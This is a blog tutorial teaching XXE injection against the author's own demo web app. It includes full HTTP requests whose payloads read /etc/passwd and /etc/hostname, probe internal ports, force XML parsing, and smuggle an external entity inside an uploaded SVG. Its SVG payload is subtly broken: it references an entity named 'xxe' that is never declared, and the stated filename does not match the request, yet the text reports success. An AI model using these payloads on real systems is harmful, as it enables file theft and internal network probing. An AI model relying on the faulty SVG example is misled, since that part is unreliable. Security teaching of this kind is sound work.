If you are already familiar with XML and DTD, feel free to skip to the fun part.

What is XML?

XML is a shorthand for eXtensible Markup Language which is a very simple but flexible text format used to electronically share structured data via the internet. XML is a markup language based on SGML - a language which is describing other languages.

How does it work?

XML is very strict about formatting, meaning that if the formatting is off, programs that rely on it will return an error. All valid XML documents consist of elements (element - container of data). The syntax itself reminds of HTML tags - the beginning of an element is identified by opening and the end is identified by closing tags, with other elements between them or plain text.

Example of well-formed XML document

<?xml version="1.0" encoding="UTF-8"?>
<pentester>
	<name>
		<first>Lazar</first>
		<last>V</last>
	</name>
	<age>19</age>
	<country>Serbia</country>
</pentester>

As you can see, elements can be inside of each other or as it is called nested elements. On the first line the XML version and encoding is specified.

What is DTD?

DTD or Document Type Definition is a way to describe XML language more precisely. It is used to check if the XML document is valid or not based on a set of rules. DTD can be specified inside of the document, or specified on a remote location (external DTD)

Example of well-formed XML document with local DTD

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE pentester [
	<!ELEMENT pentester (name,age,country)>
	<!ELEMENT name (first,last)>
	<!ELEMENT first (#PCDATA)>
	<!ELEMENT last (#PCDATA)>
	<!ELEMENT age (#PCDATA)>
	<!ELEMENT country (#PCDATA)>
]> 

<pentester>
	<name>
		<first>Lazar</first>
		<last>V</last>
	</name>
	<age>19</age>
	<country>Serbia</country>
</pentester>

Here we define a basic DTD describing the structure of the document. However, we can also declare an external DTD:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE pentester SYSTEM "pentester.dtd">
<pentester>
	<name>
		<first>Lazar</first>
		<last>V</last>
	</name>
	<age>19</age>
	<country>Serbia</country>
</pentester>

<!DOCTYPE pentester SYSTEM "pentester.dtd"> line requested pentester.dtd file on local system, including all DTD declarations within:

Contents of pentester.dtd:

<!ELEMENT pentester (name,age,country)>
<!ELEMENT name (first,last)>
<!ELEMENT first (#PCDATA)>
<!ELEMENT last (#PCDATA)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT country (#PCDATA)>

XXE Injection

XXE injection or XML External Entity injection is a web security vulnerability where an attacker takes advantage of a misconfigured XML parser and allows him to interfere with an application’s processing of XML data.

What is the impact?

If properly executed, XXE injection can allow the attacker to:

  • Read files on the web server filesystem
  • Issue GET HTTP requests as the webserver a.k.a. SSRF
  • Interact with any back-end or external systems the application can access
  • Scan internal hosts' ports
  • Execute application level DoS

XML Entities

The XML Entity is a concept defined by the XML 1.0 standard which is a storage unit of some type (similar to a variable in programming languages).

XML allows custom entities to be defined within the DTD for example:

<!DOCTYPE example [
	<!ENTITY firstname "Lazar">
]>

Entities can be “executed”, or, simply put, referenced to using the following syntax:
&firstname; where firstname is the name of the entity we are referencing to. This basically means replacing &firstname; with the actual defined content of the entity, in this case Lazar.

XML External Entities

XML external entities are a type of special entity whose definition is located outside of the DTD where it is declared. Declaration of the external entity uses SYSTEM keyword used to specify URL to the content which you’d like to put into the entity. For example:

<!DOCTYPE xxe [ <!ENTITY contents SYSTEM "https://lazarv.com"> ]>

In this case, the contents entity will hold the contents of my website, a.k.a. the HTML. This is where we can issue GET requests to remote or internal locations as the webserver.

Reading files

URL can use file:// protocol, which allows us to load file contents into the entity itself:

<!DOCTYPE xxe [ <!ENTITY contents SYSTEM "file:///etc/passwd"> ]>

In this case contents entity holds the value of /etc/passwd file of the webserver.


Exploiting XXE to retrieve files

Disclaimer

I am using a custom web app which I’ve built to demonstrate the techniques below. For practice, you can refer to PortSwigger Web Security Academy for free labs. (They’re great!)

Also, I am using BurpSuite to intercept and modify web traffic.

Here I have an application which uses /post/getlikes endpoint to show the number of likes of certain post. POST request looks like this:

POST /post/getlikes HTTP/1.1
Host: localhost
Cookie: session=NGw5gXXbl1O0yRs8ASxAHZ9Xab46Cuol
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<post>
	<postID>56</postID>
</post>

Which returns the following response:

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Connection: close

138

As we can see, some data is displayed to us and we can try using the classic file read XXE attack. The steps would be:

  • Define local DTD
  • Define an external entity which holds the value of some file
  • Reference to the entity in postID element
POST /post/getlikes HTTP/1.1
Host: localhost
Cookie: session=NGw5gXXbl1O0yRs8ASxAHZ9Xab46Cuol
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [ <!ENTITY file SYSTEM "file:///etc/hostname"> ]>
<post>
	<postID>&file;</postID>
</post>

Here I stored /etc/hostname contents to file entity, and referenced it inside postID element. The request returns us the following response:

HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Connection: close

"Error: Invalid post ID: ubuntu
"

Even though we got error 400 and XML error, we can still see the hostname is ubuntu, which means we successfully extracted the contents.

Port scanning

The technique to scan ports is pretty straightforward, as you can simply set the content of an external entity to a http://host:port and compare response timing. Usually, if the response takes longer than usual to arrive, that means the port is open.

Consider the following request to /post/getlikes endpoint:

POST /post/getlikes HTTP/1.1
Host: localhost
Cookie: session=NGw5gXXbl1O0yRs8ASxAHZ9Xab46Cuol
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [ <!ENTITY file SYSTEM "http://localhost:8080"> ]>
<post>
	<postID>&file;</postID>
</post>

The request took 3 milliseconds to arrive. (Probably opened)

POST /post/getlikes HTTP/1.1
Host: localhost
Cookie: session=NGw5gXXbl1O0yRs8ASxAHZ9Xab46Cuol
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [ <!ENTITY file SYSTEM "http://localhost:5050"> ]>
<post>
	<postID>&file;</postID>
</post>

This time the response took 50ms to arrive. (Most likely closed).

Note - Port scanning isn’t always a reliable technique as it might generate false positives or not work at all.

Forcing the back-end to use XML instead of JSON

Sometimes, the back-end of a web application encodes your input into JSON before sending it to the server. For us as attackers, this isn’t suitable and we need to try to force it to parse XML so we can inject entities.

If the webserver has some kind of XML parser but doesn’t use it by default, we can try switching Content-Type request header from application/json to application/xml.

Consider the following request:

POST /post/getlikes HTTP/1.1
Host: localhost
Cookie: session=NGw5gXXbl1O0yRs8ASxAHZ9Xab46Cuol
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Content-Type: application/json

{"post": {"postID" : 4}}

We can try switching the above mentioned header to application/xml:

POST /post/getlikes HTTP/1.1
Host: localhost
Cookie: session=NGw5gXXbl1O0yRs8ASxAHZ9Xab46Cuol
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [ <!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<post>
	<postID>&file;</postID>
</post>

The response:

HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Connection: close

"Error: Invalid post ID: rootːx:0:0:root:/root:/usr/bin/zsh
daemonːx:1:1:daemon:/usr/sbin:/usr/sbin/nologin 
binːx:2:2:bin:/bin:/usr/sbin/nologin    
sysːx:3:3:sys:/dev:/usr/sbin/nologin  
syncːx:4:65534:sync:/bin:/bin/sync   
gamesːx:5:60:games:/usr/games:/usr/sbin/nologin  
man:ːx:6:12ːman:/var/cache/man:/usr/sbin/nologin 
lpːx:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
mailːx:8:8:mail:/var/mail:/usr/sbin/nologin  
newsːx:9:9:news:/var/spool/news:/usr/sbin/nologin
"

Reading files using file upload functionality

In this case, the web application parses the user-uploaded file and sets it as a profile picture. The application expects JPEG or PNG file but does not exclude SVG file type which contains actual XML data. Here we can try to embed our entity.

Consider /profile/uploadProfilePicture endpoint:

POST /profile/uploadProfilePicture HTTP/1.1
Host: localhost
Cookie: session=NGw5gXXbl1O0yRs8ASxAHZ9Xab46Cuol
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGHJEwyDDxcNQ6BJ7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36

------WebKitFormBoundaryGHJEwyDDxcNQ6BJ7
Content-Disposition: form-data; name="profilePicture"; filename="picture.png"
Content-Type: image/png

‰PNG


We can change couple of things here:

POST /profile/uploadProfilePicture HTTP/1.1
Host: localhost
Cookie: session=NGw5gXXbl1O0yRs8ASxAHZ9Xab46Cuol
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGHJEwyDDxcNQ6BJ7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36

------WebKitFormBoundaryGHJEwyDDxcNQ6BJ7
Content-Disposition: form-data; name="profilePicture"; filename="picture.svg"
Content-Type: application/xml

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE image [ <!ENTITY file SYSTEM "file:///etc/hostname" > ]>
<svg width="200px" height="200px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

I changed:

  • Content-Type HTTP header to application/xml
  • filename parameter value to image.svg

After sending the request, I got the following response:

HTTP/1.1 302 Found
Location: /profile
Connection: close
Content-Length: 0

The response doesn’t contain content of /etc/hostname? No problem. The XML parser didn’t reflect it in response, but in the image itself, because that’s how SVG and XML work.

Downloading the image from http://localhost/files/profilePictures/fhfbahasfiafs.png:

As you can see, the hostname ubuntu is written on the PNG itself.


Blind XXE

As this post is already quite long, I’ll write about blind XXE techniques next week, where we’ll cover more advanced Out-Of-Band (OOB) content extraction and Application-level Denial Of Service.